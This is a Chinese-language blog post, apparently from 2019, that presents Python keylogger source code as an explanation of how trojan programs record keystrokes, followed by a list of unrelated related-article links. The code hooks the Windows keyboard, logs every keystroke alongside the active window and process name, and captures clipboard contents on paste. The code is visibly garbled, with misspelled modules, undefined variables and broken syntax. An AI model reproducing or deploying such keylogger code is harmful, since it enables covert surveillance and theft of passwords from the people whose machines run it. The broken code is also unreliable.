Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python实现的查询mysql数据库并通过邮件发送信息功能
May 17 Python
分享vim python缩进等一些配置
Jul 02 Python
将tensorflow的ckpt模型存储为npy的实例
Jul 09 Python
Python实现获取本地及远程图片大小的方法示例
Jul 21 Python
对python3中pathlib库的Path类的使用详解
Oct 14 Python
python识别图像并提取文字的实现方法
Jun 28 Python
Python画图实现同一结点多个柱状图的示例
Jul 07 Python
django 通过url实现简单的权限控制的例子
Aug 16 Python
logging level级别介绍
Feb 21 Python
python mongo 向数据中的数组类型新增数据操作
Dec 05 Python
详解如何使用Pytest进行自动化测试
Jan 14 Python
pycharm 使用tab跳出正在编辑的括号(){}{}等问题
Feb 26 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
Windows中安装Apache2和PHP4权威指南
2006/11/18 PHP
《PHP编程最快明白》第五讲:php目录、文件操作
2010/11/01 PHP
php数据库备份还原类分享
2014/03/20 PHP
php过滤html中的其他网站链接的方法(域名白名单功能)
2014/04/24 PHP
PHP使用递归生成文章树
2015/04/21 PHP
PHP中array_keys和array_unique函数源码的分析
2016/02/26 PHP
php微信公众平台开发(一) 配置接口
2016/12/06 PHP
[HTML/CSS/Javascript]WWTJS
2007/09/25 Javascript
制作高质量的JQuery Plugin 插件的方法
2010/04/20 Javascript
jQuery在html有效在jsp无效的原因及解决方法
2013/08/02 Javascript
js改变html的原有内容实现方法
2016/10/05 Javascript
原生js轮播(仿慕课网)
2017/02/15 Javascript
Vue常见面试题整理【值得收藏】
2018/09/20 Javascript
如何使用原生Js实现随机点名详解
2021/01/06 Javascript
python改变日志(logging)存放位置的示例
2014/03/27 Python
python协程用法实例分析
2015/06/04 Python
举例讲解Python中的死锁、可重入锁和互斥锁
2015/11/05 Python
Python 实现随机数详解及实例代码
2017/04/15 Python
python的schedule定时任务模块二次封装方法
2019/02/19 Python
如何用Python制作微信好友个性签名词云图
2019/06/28 Python
python GUI库图形界面开发之PyQt5切换按钮控件QPushButton详细使用方法与实例
2020/02/28 Python
django API 中接口的互相调用实例
2020/04/01 Python
在 Pycharm 安装使用black的方法详解
2020/04/02 Python
如何基于windows实现python定时爬虫
2020/05/01 Python
详解h5页面在不同ios设备上的问题总结
2019/03/01 HTML / CSS
HTML文本属性&amp;颜色控制属性的实现
2019/12/17 HTML / CSS
印度购物网站:TATA CLiQ
2017/11/23 全球购物
Topshop法国官网:英国快速时尚品牌
2018/04/08 全球购物
医院实习介绍信
2014/01/12 职场文书
历史学专业求职信
2014/06/19 职场文书
小区门卫岗位职责范本
2014/08/24 职场文书
教师个人总结范文
2015/02/11 职场文书
关于倡议书的范文
2015/04/29 职场文书
单位证明范文
2015/06/18 职场文书
八年级作文之友谊
2019/12/02 职场文书
Spring Boot 整合 Apache Dubbo的示例代码
2021/07/04 Java/Android